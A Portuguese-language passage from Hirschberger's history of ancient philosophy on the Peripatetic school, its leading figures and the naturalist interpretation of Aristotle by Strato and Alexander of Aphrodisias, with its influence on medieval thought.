O    PERÍPATO – FILOSOFIA   ENCICLOPÉDICA – História da Filosofia na Antiguidade

O PERÍPATO – FILOSOFIA ENCICLOPÉDICA – História da Filosofia na Antiguidade

 Escola de Aristóteles, quadro dos 1880s por  Gustav Adolph Spangenberg

História da Filosofia na Antiguidade – Hirschberger

4 — O 
PERÍPATO – FILOSOFIA   ENCICLOPÉDICA

O Perípato, fiel ao exemplo do
aristotelismo posterior, já desde os seus inícios se entregara a uma minuciosa
investigação científica (cf. pág. 253). Posteriormente, ainda, se deu ao
estudo das ciências experimentais, distinguindo-se assim tipicamente do
estoicismo e do epicurismo, mas também da Academia, que, antes de tudo,
cultivaram uma Filosofia visando a "mundividência".

Os   homens  
do   Peripato

Na história multisecular da escola
se salientam: o grande físico Estratão
de Lâmpsaco, chefe da escola de 287-269; o grande astrônomo Aristarco de Samos, seu discípulo,
precursor na antigüidade da revolução copernicana (v. pág. 140); Critolau, que, em 155 a. C, tomou parte
na embaixada mandada a Roma por Atenas, juntamente com um representante do
estoicismo e da Filosofia acadêmica (v. pág. 298), mostrando assim que força
vital revelaram as escolas filosóficas no mundo de então. Nos tempos finais do
Perípato, encontramos Andrônico de
Rodes (séc. I a. C) que colecionou e nos
transmitiu as obras de Aristóteles;
Alexandre de Afrodísia (c. 200 p. C), o clássico intérprete de Aristóteles; o médico Galeno (c. 200 p. C.) e o astrônomo Cláudio Ptolomeu ( ca. 178 p.C).

α)    Interpretação
naturalista de Aristóteles

Na História da Filosofia é importante,
sobretudo para a interpretação de Aristóteles,
o naturalismo introduzido no Perípato por Estrabão. O "físico” rejeita o motor transcendente,
imóvel, e explica o mundo somente como a soma das suas forças. Combate
igualmente a teleologia e a causalidade das formas substanciais. Só conhece
uma causalidade material nas realidades sensíveis do tempo e do espaço, como
também já o havia concebido Demócrito. Também pode Estratão prescindir de uma alma
imortal.   Assim Aristóteles fica
purificado dos seus elementos
platônicos, que sempre conservou, apesar dos seus constantes desentendidos com
o mestre, e reduzido a si mesmo. Mas será este o autêntico Aristóteles? Também Alexandre se move nessa direção. O
"anterior por natureza" já não é a forma, mas o indivíduo concreto,
como qualquer empirista pode admiti-lo. O νουζ divino, pelo
qual pensamos, não é já individual, mas um só e universal para toda a
humanidade. E a alma nasce e morre com o corpo. Mas, de novo, perguntamos: será
este agora o autêntico Aristóteles?

b)   Perípato,
estoicismo e Idade-Média.

Alexandre
também se tornou conhecido na Idade-Média e podia ser uma das causas
da sua concepção realístico-empírica de Aristóteles.
Outra causa é o naturalismo teorétíco-epistemológico, influenciado pelo
estoicismo no escrito pseudo-aristotélico muito lido De Mundo, cujo
autor devemos procurar no Perípato e deve ter sido escrito posteriormente a Panécio, de quem depende. Em geral,
muito do que a Idade-Média considerou como de Aristóteles
era doutrina estóica, principalmente o concernente à concepção empírica
da realidade. Que Aristóteles pode
ser entendido de outro modo, já o mostra, o fato de, depois do Perípato, a
interpretação de Aristóteles ter
caído nas mãos dos neoplatônicos. Era, de novo, o outro Aristóteles, que aqui se presumia. Seria, necessário expor,
de acordo com as fontes, a influência da interpretação helenística de Aristóteles, sobre a Idade-Média. Não
se devia assim contentar-se a gente com referências a autores e citações, mas,
antes de tudo, apoiar-se nas irradiações da formação completa do tempo, onde
penetrou o patrimônio espiritual das escolas filosóficas do helenismo a ponto
de já não mais se citar a elas, das quais, entretanto, se dependia. Mas para
isto se deveria ter em vista, primeiro, os ricos tesouros dos comentários de Aristóteles, publicados pela Academia
de Berlim, tão bons como insuperáveis.

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